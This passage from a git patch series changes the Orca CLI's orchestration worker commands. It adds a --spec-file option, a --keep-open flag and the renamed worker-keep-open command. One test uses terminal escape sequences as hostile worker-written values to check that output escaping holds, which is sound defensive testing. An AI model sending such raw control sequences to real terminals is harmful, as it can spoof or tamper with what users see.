id: string; type: string }[] @@ -94,32 +89,23 @@ export function submitOrchestrationMailboxPointer Date: Sat, 31 Oct 2026 01:23:25 -0400 Subject: [PATCH 07/47] Add --spec-file and one keep-open name to orchestration worker commands (#36545) worker-start and task-create take --spec-file (or - for stdin). worker-start --keep-open keeps a worker open after it finishes in one step, and worker-keep-open replaces worker-retain (kept as a hidden alias). Concise text output escapes terminal control characters in worker-written values. --- docs/site/content/docs/cli/orchestration.mdx | 10 +- skill-guides/orchestration.md | 5 +- src/cli/bundled-skill-guides.ts | 5 +- src/cli/command-body-input.test.ts | 56 ++++++++++ src/cli/command-body-input.ts | 44 +++++--- src/cli/flag-help-text.ts | 2 + src/cli/handler-group-manifest.ts | 1 + .../handlers/orchestration-worker-cli.test.ts | 105 +++++++++++++++--- .../handlers/orchestration/agent-view.test.ts | 13 +++ src/cli/handlers/orchestration/agent-view.ts | 5 +- .../handlers/orchestration/task-handlers.ts | 3 +- .../orchestration/worker-launch-handler.ts | 83 ++++++++++---- .../orchestration/worker-start-agent-view.ts | 5 +- .../orchestration/worker-terminal-handlers.ts | 35 +++--- src/cli/orchestration-mutation-recovery.ts | 9 +- src/cli/root-help-text-primary.ts | 2 +- .../orchestration-recovery-command.test.ts | 4 +- .../runtime/orchestration-recovery-command.ts | 2 +- src/cli/specs/orchestration-gate-specs.ts | 29 +++++ src/cli/specs/orchestration-worker-specs.ts | 27 +++-- src/cli/specs/orchestration.ts | 30 +---- .../worker-dispatch-abandon.ts | 2 +- .../worker-terminal-archive.ts | 2 +- .../orchestration/worker/worker-release.ts | 2 +- src/shared/cli-argument-boundary.ts | 1 + 25 files changed, 363 insertions(+), 119 deletions(-) create mode 100644 src/cli/command-body-input.test.ts create mode 100644 src/cli/specs/orchestration-gate-specs.ts diff --git a/docs/site/content/docs/cli/orchestration.mdx b/docs/site/content/docs/cli/orchestration.mdx index be57b6d2cef..497eb481a6d 100644 --- a/docs/site/content/docs/cli/orchestration.mdx +++ b/docs/site/content/docs/cli/orchestration.mdx @@ -22,7 +22,7 @@ Use it when you need ownership, completion tracking, or a DAG. For one-off promp ## Output -Every orchestration command prints a short view by default: the IDs and state the next command needs, with the next step last. `--json` prints the same fields as one line of JSON (`{"ok":true,"result":{...}}`). `--full` prints the complete record Orca returned, as text or with `--json` as pretty JSON. A failed or unconfirmed outcome exits non-zero and writes `error: : ` to stderr. +Every orchestration command prints a short view by default: the IDs and state the next command needs, with the next step last. `--json` prints the same fields as one line of JSON (`{"ok":true,"result":{...}}`). `--full --json` prints the complete record Orca returned as pretty JSON; `--full` alone prints the longer text receipt. A failed or unconfirmed outcome exits non-zero and writes `error: : ` to stderr. ## Core model @@ -48,7 +48,7 @@ orca orchestration worker-start --task --worktree new-child --name bill orca orchestration worker-start --task --worktree current --agent claude --model --effort high ``` -`--agent` takes any Orca agent ID enabled on the worker server, for example `claude`, `codex`, `cursor`, `antigravity`, `muse`, `opencode`, or `opencode2`. `--model` accepts opaque provider model IDs for Claude, Codex, Cursor, Antigravity, Grok, and Muse (for example `--agent muse --model muse-spark-1.3`); OpenCode accepts a per-launch model only in an existing worktree, when the execution host verifies its CLI version and model availability; OpenCode effort remains unsupported. Other agents run the model from their own config. `--effort` requires `--model` and only applies when that agent/model supports the level. Neither flag can combine with `--terminal` (reuse an existing pane). Overrides apply to that launch only and show as `model` / `effort` in the start receipt (`--full` shows `launch.requested` / `launch.effective`). Federated starts need a worker host that advertises launch-preference support. +`--agent` takes any Orca agent ID enabled on the worker server, for example `claude`, `codex`, `cursor`, `antigravity`, `muse`, `opencode`, or `opencode2`. `--model` accepts opaque provider model IDs for Claude, Codex, Cursor, Antigravity, Grok, and Muse (for example `--agent muse --model muse-spark-1.3`); OpenCode accepts a per-launch model only in an existing worktree, when the execution host verifies its CLI version and model availability; OpenCode effort remains unsupported. Other agents run the model from their own config. `--effort` requires `--model` and only applies when that agent/model supports the level. Neither flag can combine with `--terminal` (reuse an existing pane). Overrides apply to that launch only and show as `model` / `effort` in the start receipt (`--full --json` shows `launch.requested` / `launch.effective`). Federated starts need a worker host that advertises launch-preference support. After starting workers, end your turn. Orca wakes the coordinator when a worker reports, asks, or stops; run the `check` command the wake gives you and handle every message it prints: @@ -80,8 +80,8 @@ orca orchestration worker-stop --dispatch # After an accepted worker_done: reuse the same terminal for a follow-up Dispatch, or release it # (archives inspectable output, then closes only that coordinator-owned agent terminal): orca orchestration worker-release --dispatch -# Keep a settled worker live for debugging when the user asked to retain it: -orca orchestration worker-retain --dispatch +# Keep a worker open after it finishes (or start it with worker-start --keep-open): +orca orchestration worker-keep-open --dispatch # retry placement is explicit — --retry-of does not inherit --on/worktree: orca orchestration worker-start --task --retry-of --worktree current --agent codex ``` @@ -115,7 +115,7 @@ orca orchestration dispatch --task --to --inject ## Messaging notes - Default `check` returns the bound Run's oldest unread mail as one Delivery (FIFO) and marks it handled. `--ack ` acknowledges a Delivery from an older Orca that does not mark it; alone it reads no new mail, and with `--wait` it then waits for and takes the next Delivery. -- `--peek` / `--all` do not consume mail and return no `deliveryId`, so they do not drain a mailbox on their own. `--all` and a Run `--peek` show at most 100 rows. To drain, repeat plain `check` until it prints `No messages.` (with `--json`, until `messages` is empty). +- `--peek` / `--all` do not consume mail and return no `deliveryId`, so they do not drain a mailbox on their own. `--all` and a Run `--peek` show at most 100 rows. To drain, repeat plain `check` until it prints `No messages.` (with `--json`, until `messages` is empty); on an older Orca that asks for `--ack `, ack each Delivery first or `check` returns it again. - Group addresses: `@all`, `@idle`, `@claude`, `@codex`, `@opencode`, `@gemini`, `@droid`, `@grok`, `@cursor`, `@worktree:` — never for `worker_done`. - Every group except `@worktree:` means the live Dispatches of the sender's own Run, delivered to their Dispatch mailboxes (or child Run mailboxes for nested coordinators). A sender in no Run is refused; `--run` must match the audience and never grants membership. - Run groups exclude their owning coordinator. A worker raising a blocker sends to `run:`. `@worktree:` includes coordinators in that workspace. diff --git a/skill-guides/orchestration.md b/skill-guides/orchestration.md index 68d12af9e51..20a52f6da62 100644 --- a/skill-guides/orchestration.md +++ b/skill-guides/orchestration.md @@ -65,8 +65,9 @@ Never: - Lost track? `ORCA orchestration inbox --terminal run: --limit 50` shows mail `check` already handled. -Finished workers close on their own unless the user chose Keep open. To keep one -for a follow-up, run `ORCA orchestration worker-retain --dispatch `. +Finished workers close on their own unless the user chose Keep open. If the user +wants to watch a worker, start it with `--keep-open`; to keep one already started, +run `ORCA orchestration worker-keep-open --dispatch `. If `worker-list` shows no `autoReleaseAt` for a finished worker, release it yourself. ## Task spec diff --git a/src/cli/bundled-skill-guides.ts b/src/cli/bundled-skill-guides.ts index 9345e070437..f286637f478 100644 --- a/src/cli/bundled-skill-guides.ts +++ b/src/cli/bundled-skill-guides.ts @@ -2543,8 +2543,9 @@ const ORCHESTRATION_MARKDOWN = [ "- Lost track? `ORCA orchestration inbox --terminal run: --limit 50`", " shows mail `check` already handled.", "", - "Finished workers close on their own unless the user chose Keep open. To keep one", - "for a follow-up, run `ORCA orchestration worker-retain --dispatch `.", + "Finished workers close on their own unless the user chose Keep open. If the user", + "wants to watch a worker, start it with `--keep-open`; to keep one already started,", + "run `ORCA orchestration worker-keep-open --dispatch `.", "If `worker-list` shows no `autoReleaseAt` for a finished worker, release it yourself.", "", "## Task spec", diff --git a/src/cli/command-body-input.test.ts b/src/cli/command-body-input.test.ts new file mode 100644 index 00000000000..36abf50c76c --- /dev/null +++ b/src/cli/command-body-input.test.ts @@ -0,0 +1,56 @@ +import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, describe, expect, it } from 'vitest' +import { readTextOrFileFlag } from './command-body-input' + +const SPEC = 'Run `pnpm test` and say "done" when it\'s $HOME-free' + +describe('readTextOrFileFlag', () => { + let dir: string | undefined + let restoreStdin: (() => void) | undefined + + afterEach(() => { + restoreStdin?.() + restoreStdin = undefined + if (dir) { + rmSync(dir, { recursive: true, force: true }) + dir = undefined + } + }) + + it('reads the file relative to the caller cwd without shell interpretation', async () => { + dir = mkdtempSync(join(tmpdir(), 'orca-spec-file-')) + writeFileSync(join(dir, 'spec.md'), SPEC) + const flags = new Map([['spec-file', 'spec.md']]) + await expect(readTextOrFileFlag(flags, dir, 'spec', true)).resolves.toBe(SPEC) + }) + + it('reads stdin for -', async () => { + const stdin = process.stdin + const previousIsTTY = stdin.isTTY + Object.defineProperty(stdin, 'isTTY', { configurable: true, value: false }) + Object.defineProperty(stdin, Symbol.asyncIterator, { + configurable: true, + value: async function* () { + yield SPEC + } + }) + restoreStdin = () => { + Object.defineProperty(stdin, 'isTTY', { configurable: true, value: previousIsTTY }) + Reflect.deleteProperty(stdin, Symbol.asyncIterator) + } + const flags = new Map([['spec-file', '-']]) + await expect(readTextOrFileFlag(flags, '/', 'spec', true)).resolves.toBe(SPEC) + }) + + it('refuses the text and file flags together', async () => { + const flags = new Map([ + ['spec', 'inline'], + ['spec-file', 'spec.md'] + ]) + await expect(readTextOrFileFlag(flags, '/', 'spec', false)).rejects.toThrow( + 'Use either --spec or --spec-file, not both' + ) + }) +}) diff --git a/src/cli/command-body-input.ts b/src/cli/command-body-input.ts index 9c200dcb6ae..edcb03bb537 100644 --- a/src/cli/command-body-input.ts +++ b/src/cli/command-body-input.ts @@ -25,21 +25,8 @@ export async function readCommandBody( cwd: string, options: BodyOptions ): Promise { - const hasBody = flags.has('body') - const hasBodyFile = flags.has('body-file') - if (hasBody && hasBodyFile) { - throw new RuntimeClientError('invalid_argument', 'Use either --body or --body-file, not both') - } - if (!hasBody && !hasBodyFile) { - if (options.required) { - throw new RuntimeClientError('invalid_argument', 'Missing --body or --body-file') - } - return undefined - } - const body = hasBody - ? getRequiredStringFlagAllowingEmpty(flags, 'body') - : await readBodyFile(getRequiredStringFlag(flags, 'body-file'), cwd) - if (body.length > options.maximumCharacters) { + const body = await readTextOrFileFlag(flags, cwd, 'body', options.required) + if (body !== undefined && body.length > options.maximumCharacters) { throw new RuntimeClientError( options.tooLargeCode, `${options.label} must be at most ${options.maximumCharacters} characters` @@ -48,6 +35,33 @@ export async function readCommandBody( return body } +/** Reads `-- ` or `---file `, refusing both. */ +export async function readTextOrFileFlag( + flags: Map, + cwd: string, + flag: string, + required: boolean +): Promise { + const fileFlag = `${flag}-file` + const hasText = flags.has(flag) + const hasFile = flags.has(fileFlag) + if (hasText && hasFile) { + throw new RuntimeClientError( + 'invalid_argument', + `Use either --${flag} or --${fileFlag}, not both` + ) + } + if (!hasText && !hasFile) { + if (required) { + throw new RuntimeClientError('invalid_argument', `Missing --${flag} or --${fileFlag}`) + } + return undefined + } + return hasText + ? getRequiredStringFlagAllowingEmpty(flags, flag) + : readBodyFile(getRequiredStringFlag(flags, fileFlag), cwd) +} + async function readBodyFile(path: string, cwd: string): Promise { if (path !== '-') { return readFile(isAbsolute(path) ? path : join(cwd, path), 'utf8') diff --git a/src/cli/flag-help-text.ts b/src/cli/flag-help-text.ts index b98bf48be98..fbbd7914a99 100644 --- a/src/cli/flag-help-text.ts +++ b/src/cli/flag-help-text.ts @@ -30,6 +30,8 @@ export const FLAG_HELP_TEXT: Record = { help: '--help Show this help message', 'include-visual-layouts': '--include-visual-layouts Include tab and pane topology in JSON output', interrupt: '--interrupt Send as an interrupt-style input when supported', + 'keep-open': '--keep-open Keep the worker open after it finishes', + 'spec-file': '--spec-file Read the spec from a file or stdin', id: '--id Identifier for a target item or permission', issue: '--issue Linked GitHub issue number', 'gitlab-issue': diff --git a/src/cli/handler-group-manifest.ts b/src/cli/handler-group-manifest.ts index bd7674739e7..9bc54fd61d1 100644 --- a/src/cli/handler-group-manifest.ts +++ b/src/cli/handler-group-manifest.ts @@ -144,6 +144,7 @@ export const HANDLER_GROUPS: readonly HandlerGroup[] = [ 'orchestration worker-stop', 'orchestration worker-abandon', 'orchestration worker-release', + 'orchestration worker-keep-open', 'orchestration worker-retain', 'orchestration worker-list', 'orchestration dispatch', diff --git a/src/cli/handlers/orchestration-worker-cli.test.ts b/src/cli/handlers/orchestration-worker-cli.test.ts index 5bfc5d3a329..96d39e31319 100644 --- a/src/cli/handlers/orchestration-worker-cli.test.ts +++ b/src/cli/handlers/orchestration-worker-cli.test.ts @@ -12,8 +12,10 @@ import { ORCHESTRATION_HANDLERS } from './orchestration' import { printResult } from '../format' import { parseArgs, validateCommandAndFlags } from '../args' import { formatCommandHelp } from '../help' +import { buildAgentContext } from '../agent-context' +import { suggestCommands } from '../command-suggestion' import { okFixture } from '../test-fixtures' -import { RuntimeClient } from '../runtime-client' +import { RuntimeClient, RuntimeClientError } from '../runtime-client' import { ORCHESTRATION_WORKER_COMMAND_SPECS } from '../specs/orchestration-worker-specs' import { ORCHESTRATION_WORKER_LAUNCH_PREFERENCES_RUNTIME_CAPABILITY } from '../../shared/protocol-version' @@ -739,10 +741,8 @@ describe('orchestration worker-start CLI contract', () => { }) it('keeps cleanup and retention TTL controls off the public CLI surface', async () => { - const retained = parseArgs(['orchestration', 'worker-retain', '--dispatch', 'ctx_1']) - expect(() => - validateCommandAndFlags(ORCHESTRATION_WORKER_COMMAND_SPECS, retained) - ).not.toThrow() + const kept = parseArgs(['orchestration', 'worker-keep-open', '--dispatch', 'ctx_1']) + expect(() => validateCommandAndFlags(ORCHESTRATION_WORKER_COMMAND_SPECS, kept)).not.toThrow() expect(() => validateCommandAndFlags( ORCHESTRATION_WORKER_COMMAND_SPECS, @@ -752,21 +752,15 @@ describe('orchestration worker-start CLI contract', () => { expect(() => validateCommandAndFlags( ORCHESTRATION_WORKER_COMMAND_SPECS, - parseArgs(['orchestration', 'worker-retain', '--until', '2099-01-01T00:00:00Z']) + parseArgs(['orchestration', 'worker-keep-open', '--until', '2099-01-01T00:00:00Z']) ) - ).toThrow('Unknown flag --until for command: orchestration worker-retain') - expect(() => - validateCommandAndFlags( - ORCHESTRATION_WORKER_COMMAND_SPECS, - parseArgs(['orchestration', 'worker-retain', '--policy', 'forever']) - ) - ).toThrow('Unknown flag --policy for command: orchestration worker-retain') + ).toThrow('Unknown flag --until for command: orchestration worker-keep-open') callMock.mockResolvedValue({ result: { dispatchId: 'ctx_1', state: 'retained', processAction: 'none' } }) - await ORCHESTRATION_HANDLERS['orchestration worker-retain']({ - flags: retained.flags, + await ORCHESTRATION_HANDLERS['orchestration worker-keep-open']({ + flags: kept.flags, client, cwd: '/tmp/repo', json: true @@ -774,6 +768,87 @@ describe('orchestration worker-start CLI contract', () => { expect(callMock).toHaveBeenCalledWith('orchestration.workerRetain', { dispatch: 'ctx_1' }) }) + it('still runs worker-retain without listing or suggesting it', () => { + const parsed = parseArgs(['orchestration', 'worker-retain', '--dispatch', 'ctx_1']) + expect(() => validateCommandAndFlags(ORCHESTRATION_WORKER_COMMAND_SPECS, parsed)).not.toThrow() + expect(ORCHESTRATION_HANDLERS['orchestration worker-retain']).toBe( + ORCHESTRATION_HANDLERS['orchestration worker-keep-open'] + ) + const listed = buildAgentContext(ORCHESTRATION_WORKER_COMMAND_SPECS).commands + expect(JSON.stringify(listed)).not.toContain('worker-retain') + expect( + suggestCommands(ORCHESTRATION_WORKER_COMMAND_SPECS, ['orchestration', 'worker-retai']) + ).not.toContain('orchestration worker-retain') + }) + + it('keeps a worker started with --keep-open open after it finishes', async () => { + callMock.mockImplementation(async (method: string) => + method === 'orchestration.workerStart' + ? { result: { taskId: 'task_1', dispatchId: 'ctx_1', state: 'ready', effects: [] } } + : { result: { dispatchId: 'ctx_1', state: 'retained', processAction: 'none' } } + ) + await invokeWorkerStart( + new Map([ + ['task', 'task_1'], + ['agent', 'codex'], + ['keep-open', true] + ]), + false + ) + expect(callMock).toHaveBeenLastCalledWith('orchestration.workerRetain', { dispatch: 'ctx_1' }) + expect(printedText()).toContain('keptOpen=true') + }) + + it.each([ + [ + 'released', + { result: { dispatchId: 'ctx_1', state: 'already_released', processAction: 'none' } }, + 'worker-read' + ], + [ + 'no owned terminal', + { + result: { + dispatchId: 'ctx_1', + state: 'retained', + reason: 'no_owned_resource', + processAction: 'none' + } + }, + 'worker-show' + ], + ['error', new RuntimeClientError('runtime_unavailable', 'gone'), 'worker-keep-open'] + ])( + 'prints the start receipt then fails a --keep-open that was not kept (%s)', + async (_, retain, verb) => { + vi.spyOn(console, 'error').mockImplementation(() => {}) + callMock.mockImplementation(async (method: string) => { + if (method === 'orchestration.workerStart') { + return { result: { taskId: 'task_1', dispatchId: 'ctx_1', state: 'ready', effects: [] } } + } + if (method === 'orchestration.workerRetain' && retain instanceof Error) { + throw retain + } + return retain + }) + await invokeWorkerStart( + new Map([ + ['task', 'task_1'], + ['agent', 'codex'], + ['keep-open', true] + ]), + false + ) + const text = printedText() + expect(text).toContain('dispatchId=ctx_1') + expect(text).not.toContain('keptOpen') + const error = String(vi.mocked(console.error).mock.calls[0]?.[0]) + expect(error).toContain('not_kept_open') + expect(error).toContain(`${verb} --dispatch ctx_1`) + expect(process.exitCode).toBe(1) + } + ) + it('does not tell a coordinator that chat workers skip automatic release', () => { const spec = ORCHESTRATION_WORKER_COMMAND_SPECS.find( (entry) => entry.path.join(' ') === 'orchestration worker-release' diff --git a/src/cli/handlers/orchestration/agent-view.test.ts b/src/cli/handlers/orchestration/agent-view.test.ts index a826720d8b5..d23b6533b82 100644 --- a/src/cli/handlers/orchestration/agent-view.test.ts +++ b/src/cli/handlers/orchestration/agent-view.test.ts @@ -99,6 +99,19 @@ describe('orchestration agent views', () => { expect(process.exitCode).toBe(1) }) + it('escapes terminal control bytes in worker-written fields', async () => { + const { stdout } = await run('worker-start', [['task', 'task_1']], { + ...OLDER_RUNTIME_START, + state: 'failed', + failedStage: 'agent\x1b]0;x\x07', + lastError: 'bad \x9b31m output' + }) + for (const raw of ['\x1b', '\x07', '\x9b']) { + expect(stdout).not.toContain(raw) + } + expect(stdout).toContain('failedStage=agent\\x1b]0;x\\x07') + }) + it('prints a question with its payload kept apart and a reply command for this executable', async () => { const question = { id: 'msg_q', diff --git a/src/cli/handlers/orchestration/agent-view.ts b/src/cli/handlers/orchestration/agent-view.ts index e4ca3fdf95e..0e7e9742f7f 100644 --- a/src/cli/handlers/orchestration/agent-view.ts +++ b/src/cli/handlers/orchestration/agent-view.ts @@ -5,6 +5,7 @@ import { renderCommand } from '../../orchestration-mutation-recovery' import { resolveOrchestrationCliExecutable } from '../../runtime/orchestration-recovery-command' import type { RuntimeRpcSuccess } from '../../runtime-client' import { withReceiptNext } from './receipt-next-text' +import { escapeTerminalControlCharacters } from '../../../shared/terminal-control-character-escape' type AgentViewFields = Record @@ -115,8 +116,8 @@ function formatFieldValue(value: unknown): string { return value.length ? value.map(formatFieldValue).join(',') : 'none' } const text = typeof value === 'string' ? value : JSON.stringify(value) - // Quote anything that would split a name=value pair. - return /^[^\s"',=]+$/.test(text) ? text : JSON.stringify(text) + // Quote anything that would split a name=value pair; never pass raw control bytes to the terminal. + return escapeTerminalControlCharacters(/^[^\s"',=]+$/.test(text) ? text : JSON.stringify(text)) } function isFieldRecord(value: unknown): value is AgentViewFields { diff --git a/src/cli/handlers/orchestration/task-handlers.ts b/src/cli/handlers/orchestration/task-handlers.ts index cfc00bb1fb5..b5647fe55a7 100644 --- a/src/cli/handlers/orchestration/task-handlers.ts +++ b/src/cli/handlers/orchestration/task-handlers.ts @@ -6,6 +6,7 @@ import { getOptionalStringFlag, getRequiredStringFlag } from '../../flags' import { RuntimeClientError } from '../../runtime-client' import { abbreviateOrchestrationTasks } from '../../../shared/orchestration-task-summary' import { callOrchestrationMutation } from './mutation-request' +import { readTextOrFileFlag } from '../../command-body-input' import { resolveCoordinatorTerminalHandle, runScopedSessionCaller } from './terminal-identity' const TASK_STATUS_VALUES = [ @@ -25,7 +26,7 @@ export const ORCHESTRATION_TASK_HANDLERS: Record = { flags, 'orchestration.taskCreate', { - spec: getRequiredStringFlag(flags, 'spec'), + spec: await readTextOrFileFlag(flags, cwd, 'spec', true), taskTitle: getOptionalStringFlag(flags, 'task-title'), displayName: getOptionalStringFlag(flags, 'display-name'), deps: getOptionalStringFlag(flags, 'deps'), diff --git a/src/cli/handlers/orchestration/worker-launch-handler.ts b/src/cli/handlers/orchestration/worker-launch-handler.ts index 0265313c35c..21ba03b8d2f 100644 --- a/src/cli/handlers/orchestration/worker-launch-handler.ts +++ b/src/cli/handlers/orchestration/worker-launch-handler.ts @@ -2,18 +2,23 @@ import type { CommandHandler } from '../../dispatch' import { printResult } from '../../format' import { withReceiptNext } from './receipt-next-text' import { getOptionalStringFlag, getPresentStringFlag } from '../../flags' -import { RuntimeClientError } from '../../runtime-client' +import { RuntimeClientError, type RuntimeClient } from '../../runtime-client' import type { RuntimeStatus } from '../../../shared/runtime-types' import { ORCHESTRATION_WORKER_LAUNCH_PREFERENCES_RUNTIME_CAPABILITY } from '../../../shared/protocol-version' import { callOrchestrationMutation } from './mutation-request' import { getOptionalPositiveIntegerValueFlag } from './numeric-flags' import { isDevCliInvocation } from './runtime-compatibility' import { resolveCoordinatorTerminalHandle } from './terminal-identity' -import { formatWorkerStart } from './worker-output' -import { WORKER_START_VIEW } from './worker-start-agent-view' -import { printOrchestrationResult } from './agent-view' +import { formatWorkerStart, type WorkerReleaseReceipt } from './worker-output' +import { isUnobservedTurnStart, WORKER_START_VIEW } from './worker-start-agent-view' +import { + printOrchestrationResult, + renderOrchestrationArgv, + reportOrchestrationFailure +} from './agent-view' import { explainOlderRuntimeRunRequired } from './older-runtime-run-binding' import { renderResolvedOrchestrationCommand } from '../../orchestration-mutation-recovery' +import { readTextOrFileFlag } from '../../command-body-input' export const ORCHESTRATION_WORKER_LAUNCH_HANDLER: Record = { 'orchestration worker-start': async ({ flags, client, cwd, json }) => { @@ -34,7 +39,7 @@ export const ORCHESTRATION_WORKER_LAUNCH_HANDLER: Record } } const task = getOptionalStringFlag(flags, 'task') - const spec = getOptionalStringFlag(flags, 'spec') + const spec = await readTextOrFileFlag(flags, cwd, 'spec', false) const taskTitle = getOptionalStringFlag(flags, 'task-title') const deps = getOptionalStringFlag(flags, 'deps') const parent = getOptionalStringFlag(flags, 'parent') @@ -80,21 +85,61 @@ export const ORCHESTRATION_WORKER_LAUNCH_HANDLER: Record if (result.result.state !== 'ready') { process.exitCode = 1 } - const renderedResult = result.result.nextCommands - ? { - ...result, - result: { - ...result.result, - nextCommands: result.result.nextCommands.map((command) => - renderResolvedOrchestrationCommand(command) - ) - } - } - : result - if (!flags.has('full')) { + const keepOpenState = + flags.has('keep-open') && + (result.result.state === 'ready' || isUnobservedTurnStart(result.result)) + ? await keepWorkerOpen(client, result.result.dispatchId) + : undefined + const renderedResult = { + ...result, + result: { + ...result.result, + ...(keepOpenState === 'retained' ? { keptOpen: true as const } : {}), + ...(result.result.nextCommands + ? { + nextCommands: result.result.nextCommands.map((command) => + renderResolvedOrchestrationCommand(command) + ) + } + : {}) + } + } + if (flags.has('full')) { + printResult(renderedResult, json, (value) => + withReceiptNext( + `${formatWorkerStart(value)}${value.keptOpen ? '\nKept open after it finishes' : ''}`, + value + ) + ) + } else { printOrchestrationResult(renderedResult, json, WORKER_START_VIEW) - return + } + if (keepOpenState && keepOpenState !== 'retained') { + const dispatchId = result.result.dispatchId + // The worker runs either way, so the next step never starts it again. + const verb = + keepOpenState === 'already_released' + ? 'worker-read' + : keepOpenState.startsWith('release_') || keepOpenState === 'no_owned_resource' + ? 'worker-show' + : 'worker-keep-open' + reportOrchestrationFailure({ + code: 'not_kept_open', + message: `${dispatchId} started but was not kept open (${keepOpenState}). Run ${renderOrchestrationArgv(['orchestration', verb, '--dispatch', dispatchId])}.` + }) } - printResult(renderedResult, json, (value) => withReceiptNext(formatWorkerStart(value), value)) + } +} + +// Every host version serves workerRetain, so older servers keep the worker open too. +async function keepWorkerOpen(client: RuntimeClient, dispatch: string): Promise { + try { + const { result } = await client.call('orchestration.workerRetain', { + dispatch + }) + // A retained receipt without an owned terminal kept nothing open. + return result.reason === 'no_owned_resource' ? result.reason : result.state + } catch (error) { + return error instanceof RuntimeClientError ? error.code : 'keep_open_failed' } } diff --git a/src/cli/handlers/orchestration/worker-start-agent-view.ts b/src/cli/handlers/orchestration/worker-start-agent-view.ts index b1886918ec0..eae30bef29d 100644 --- a/src/cli/handlers/orchestration/worker-start-agent-view.ts +++ b/src/cli/handlers/orchestration/worker-start-agent-view.ts @@ -15,10 +15,11 @@ export type WorkerStartAgentReceipt = WorkerStartReceipt & { stage?: string turnStart?: string next?: string + keptOpen?: true } // A hook-capable agent that has not shown its turn yet is usually slow, not dead; a resend duplicates the task. -function isUnobservedTurnStart(value: WorkerStartAgentReceipt): boolean { +export function isUnobservedTurnStart(value: WorkerStartAgentReceipt): boolean { return ( value.state === 'outcome_unknown' && (value.turnStart === 'unobserved' || value.stage === 'turn_start_unobserved') @@ -43,6 +44,7 @@ type WorkerStartFields = { warning?: string residualResources?: string[] nextCommands?: string[] + keptOpen?: true next?: string } @@ -76,6 +78,7 @@ export const WORKER_START_VIEW: OrchestrationAgentView { + const result = await callOrchestrationMutation( + client, + flags, + 'orchestration.workerRetain', + { dispatch: getRequiredStringFlag(flags, 'dispatch') } + ) + if (!flags.has('full')) { + printOrchestrationResult(result, json, WORKER_RELEASE_VIEW) + return + } + if (result.result.state === 'release_unknown') { + process.exitCode = 1 + } + printResult(result, json, formatWorkerRelease) +} + export const ORCHESTRATION_WORKER_TERMINAL_HANDLERS: Record = { 'orchestration worker-stop': async ({ flags, client, json }) => { const result = await callOrchestrationMutation<{ @@ -88,22 +105,8 @@ export const ORCHESTRATION_WORKER_TERMINAL_HANDLERS: Record { - const result = await callOrchestrationMutation( - client, - flags, - 'orchestration.workerRetain', - { dispatch: getRequiredStringFlag(flags, 'dispatch') } - ) - if (!flags.has('full')) { - printOrchestrationResult(result, json, WORKER_RELEASE_VIEW) - return - } - if (result.result.state === 'release_unknown') { - process.exitCode = 1 - } - printResult(result, json, formatWorkerRelease) - }, + 'orchestration worker-keep-open': keepWorkerOpen, + 'orchestration worker-retain': keepWorkerOpen, 'orchestration worker-list': async ({ flags, client, cwd, json }) => { const terminalState = getOptionalStringFlag(flags, 'terminal-state') diff --git a/src/cli/orchestration-mutation-recovery.ts b/src/cli/orchestration-mutation-recovery.ts index f79d2094cd0..d005d7d9e36 100644 --- a/src/cli/orchestration-mutation-recovery.ts +++ b/src/cli/orchestration-mutation-recovery.ts @@ -47,7 +47,14 @@ export function orchestrationMutationRecoveryError(error: unknown): unknown { ? `After inspecting the Dispatch, if keyed recovery is still needed, run ${renderCommand(retryCommand)} from this same terminal. --retry-request reuses the same operation identity so Orca can replay, join, or safely recover it without starting a separate duplicate.` : `If request-show reports completed or pending, run ${renderCommand(retryCommand)} from this same terminal. --retry-request reuses the same operation identity so Orca can replay, join, or safely recover it without starting a separate duplicate. If request-show reports absent, inspect the affected state before deciding whether to retry; absence does not prove a retry is safe.` : 'Recovery is blocked until the exact original command is available; no retry command was emitted.' - const nextSteps = [`Run ${renderCommand(queryCommand)} before retrying.`, retryStep] + const readsStdin = retryCommand?.some( + (arg, i) => arg === '-' && /^--[\w-]+-file$/.test(retryCommand[i - 1] ?? '') + ) + const nextSteps = [ + `Run ${renderCommand(queryCommand)} before retrying.`, + retryStep, + ...(readsStdin ? ['Pipe the same input into the retry again; it reads stdin.'] : []) + ] const message = [ stripUnsafeRetryAdvice(error.message, requestId), 'The orchestration mutation may already have taken effect; do not assume it failed.', diff --git a/src/cli/root-help-text-primary.ts b/src/cli/root-help-text-primary.ts index 3504fcfd68c..a30a904b4d3 100644 --- a/src/cli/root-help-text-primary.ts +++ b/src/cli/root-help-text-primary.ts @@ -141,7 +141,7 @@ export const ROOT_HELP_TEXT_PRIMARY = [ ' orchestration worker-stop Fence one Dispatch; stop only its supervised worker', ' orchestration worker-abandon Fence an uncertain worker without claiming it stopped', " orchestration worker-release Release a settled worker's terminal after archiving its output", - ' orchestration worker-retain Keep a worker terminal live for debugging', + ' orchestration worker-keep-open Keep a worker open after it finishes', ' orchestration worker-list Report worker terminal resource accounting', ' orchestration coordinator-start Retired: load the current orchestration skill', ' orchestration coordinator-stop Retired: load the current orchestration skill', diff --git a/src/cli/runtime/orchestration-recovery-command.test.ts b/src/cli/runtime/orchestration-recovery-command.test.ts index 68c0a72c507..96c78edb50c 100644 --- a/src/cli/runtime/orchestration-recovery-command.test.ts +++ b/src/cli/runtime/orchestration-recovery-command.test.ts @@ -112,7 +112,7 @@ describe('orchestration recovery command identity', () => { ).toEqual(['orca-ide', 'orchestration', 'worker-stop', '--dispatch', 'dispatch_1']) }) - it('reconstructs worker-retain when raw argv is unavailable', () => { + it('reconstructs worker-keep-open when raw argv is unavailable', () => { expect( buildOrchestrationRecoveryCommand('orchestration.workerRetain', { dispatch: 'dispatch_1' @@ -120,7 +120,7 @@ describe('orchestration recovery command identity', () => { ).toEqual([ resolveOrchestrationCliExecutable(), 'orchestration', - 'worker-retain', + 'worker-keep-open', '--dispatch', 'dispatch_1' ]) diff --git a/src/cli/runtime/orchestration-recovery-command.ts b/src/cli/runtime/orchestration-recovery-command.ts index 706b1656ac6..65a44121419 100644 --- a/src/cli/runtime/orchestration-recovery-command.ts +++ b/src/cli/runtime/orchestration-recovery-command.ts @@ -52,7 +52,7 @@ export function buildOrchestrationRecoveryCommand( : method === 'orchestration.workerRelease' ? 'worker-release' : method === 'orchestration.workerRetain' - ? 'worker-retain' + ? 'worker-keep-open' : undefined if (!command || params === null || typeof params !== 'object') { return undefined diff --git a/src/cli/specs/orchestration-gate-specs.ts b/src/cli/specs/orchestration-gate-specs.ts new file mode 100644 index 00000000000..57ee98d0cb9 --- /dev/null +++ b/src/cli/specs/orchestration-gate-specs.ts @@ -0,0 +1,29 